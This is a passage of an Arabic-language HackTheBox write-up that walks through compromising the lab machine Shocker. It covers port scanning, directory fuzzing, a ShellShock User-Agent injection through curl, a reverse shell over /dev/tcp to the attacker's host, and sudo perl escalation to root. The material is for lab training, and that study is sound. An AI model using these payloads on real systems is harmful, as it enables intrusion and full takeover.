> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/shocker-hackthebox-writeup.md).

# تقرير HackTheBox عن Shocker

{% embed url="<https://app.hackthebox.com/machines/Shocker>" %}

{% hint style="warning" %}
**المهارات:**

* هجوم ShellShock (User-Agent)
* استغلال امتياز Sudoers (Perl)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/8b932cf72a783028940a5ea352dc6688e8778221" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/361e767ad31b3e44e7b175ca9647caf5c7c9bee3" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.56 -oG allPorts
```

<figure><img src="/files/a83cfb57d3ecb2392769b15ab919e56d95d7fb31" alt="" width="563"><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

استخدم دالة extractPorts لعرض المنافذ المفتوحة بصيغة موجزة ونسخها إلى الحافظة (80.2222)

<figure><img src="/files/e126235bdd264fa5f2e92de3cd23a76ad49ce485" alt="" width="563"><figcaption></figcaption></figure>

فحص إصدارات المنافذ باستخدام Nmap:

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p80,2222 10.10.10.56 -oN targeted
```

<figure><img src="/files/260a909a3b73c05b71f520c34a6376c1dd383dac" alt=""><figcaption></figcaption></figure>

### المنفذ 80 - HTTP

<figure><img src="/files/04e033ab64a7b898f4e93bf4873cbde38ae18261" alt=""><figcaption></figcaption></figure>

#### استكشاف الأدلة

نستخدم **WFuzz** لتحديد الأدلة القابلة للوصول:

```bash
wfuzz -c -t 200 --hc=404 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.10.10.56/FUZZ/ | grep -v "#"
```

<figure><img src="/files/bff37cba1be3c09a7b59f6fabfa58cd02b94c7a6" alt=""><figcaption></figcaption></figure>

هذا يكشف عن **cgi-bin** الدليل، والذي يرتبط غالبًا بالسكربتات القابلة للاستغلال.

## ثغرة ShellShock

#### البحث عن الملفات القابلة للاستغلال

نقوم بتصفية الملفات ذات الامتدادات مثل `.sh`, `.pl`، أو `.cgi`:

```bash
wfuzz -c -t 200 --hc=404,403 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,sh-pl-cgi http://10.10.10.56/cgi-bin/FUZZ.FUZ2Z
```

الـ **user.sh** تم تحديد الملف. يبدو أن هذا السكربت ديناميكي وقد يكون عرضة للثغرة.

<figure><img src="/files/eccb6a518982c5948c489effcca7c2d91e278c94" alt=""><figcaption></figcaption></figure>

#### اكتشاف الثغرة

نستخدم سكربت Nmap التالي لاختبار الثغرة:

```bash
nmap --script http-shellshock --script-args uri=/cgi-bin/user.sh -p80 10.10.10.56
```

يؤكد الفحص أن **user.sh** الملف قابل للاستغلال عبر ShellShock.

<figure><img src="/files/91d572298ad21e0aa7895f2c6dd877ad934c89cf" alt=""><figcaption></figcaption></figure>

#### تنفيذ الأوامر

لاختبار تنفيذ الأوامر، نستخدم **curl** مع User-Agent خبيث:

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; }; echo; /usr/bin/whoami"
```

يعرض هذا اسم المستخدم النشط.

<figure><img src="/files/0b94e179a153a0594de36d519c5a314225b44bf5" alt=""><figcaption></figcaption></figure>

#### شل عكسي

للحصول على شل عكسي:

1. استمع على المنفذ 443:

```bash
nc -nlvp 443
```

2. قم بحقن الحمولة التالية:

{% code overflow="wrap" %}

```bash
-H "User-Agent: () { :; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"
```

{% endcode %}

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"
```

<div data-full-width="true"><figure><img src="/files/9af3aa4243805d01d6b75ae36e199f5e1d895c7a" alt=""><figcaption></figcaption></figure></div>

### الراية user.txt :)

<figure><img src="/files/393011aedeab98f8a83146c6d438d489ea9d67b0" alt="" width="563"><figcaption></figcaption></figure>

## تصعيد الامتيازات

### Sudoers - Perl

عند تحليل **Sudoers** الصلاحيات، نلاحظ أن المستخدم لديه إذن لتنفيذ `perl` بصفتـ **root**. ويمكن التحقق من ذلك بالأمر التالي:

```bash
sudo -l 
```

<figure><img src="/files/3d81feb455f9ac18ea0641e654cf3eca557b8725" alt=""><figcaption></figcaption></figure>

#### الاستغلال

لاستغلال هذا الإعداد والحصول على شل بصلاحيات root، ما عليك سوى حقن الأمر التالي:

{% embed url="<https://gtfobins.github.io/gtfobins/perl/#sudo>" %}

```bash
sudo /usr/bin/perl -e 'exec "/bin/sh";'
```

<figure><img src="/files/eedf17aeef35c2526a53ba2459f15e2323f25950" alt="" width="563"><figcaption></figcaption></figure>

### العلم root.txt :)

<figure><img src="/files/e15fba1915fe81a8c60d2dcd42142e9271023a9e" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/2321dbcf771545689e46ac709f4a92fe888d1fbd" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/shocker-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
